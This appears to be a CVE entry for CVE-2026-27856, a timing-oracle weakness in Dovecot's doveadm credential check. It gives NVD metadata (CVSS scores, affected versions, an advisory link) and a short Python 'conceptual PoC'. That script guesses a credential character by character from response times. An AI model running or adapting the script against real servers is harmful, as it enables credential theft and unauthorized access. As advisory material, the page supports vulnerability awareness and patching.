CVE-2026-27856

import requests import time # Conceptual PoC for Timing Oracle Attack def check_timing(target_url, payload): start_time = time.time() try: # Sending a request with a guessed credential response = requests.post(target_url, data={'auth': payload}, timeout=5) except Exception as e: pass end_time = time.time() return end_time - start_time target = "http://target-doveadm:8080/auth" char_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" current_guess = "" # Simple loop to simulate guessing characters based on time delay for i in range(32): best_char = "" max_time = 0 for char in char_set: test_guess = current_guess + char duration = check_timing(target, test_guess) # A longer duration might indicate a correct prefix match if duration > max_time: max_time = duration best_char = char current_guess += best_char print(f"Current guess: {current_guess}")

{"cve": {"id": "CVE-2026-27856", "sourceIdentifier": "[email protected]", "published": "2026-03-27T09:16:19.767", "lastModified": "2026-04-29T19:25:51.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Doveadm credentials are verified using direct comparison which is susceptible to timing oracle attack. An attacker can use this to determine the configured credentials. Figuring out the credential will lead into full access to the affected component. Limit access to the doveadm http service port, install fixed version. No publicly available exploits are known."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dovecot:dovecot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.3", "matchCriteriaId": "BE209329-C5EA-4EE7-A23E-CD2EC061A9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionEndExcluding": "2.3.22.1", "matchCriteriaId": "5CF82590-D98A-4E06-AC8C-6CC3506ED923"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.5", "matchCriteriaId": "8476287B-40B2-4533-A3AB-B880516C0B5C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionStartIncluding": "3.1.0", "versionEndExcluding": "3.1.4", "matchCriteriaId": "11CA35AA-72CB-4614-A064-8A90F65D8A71"}]}]}], "references": [{"url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}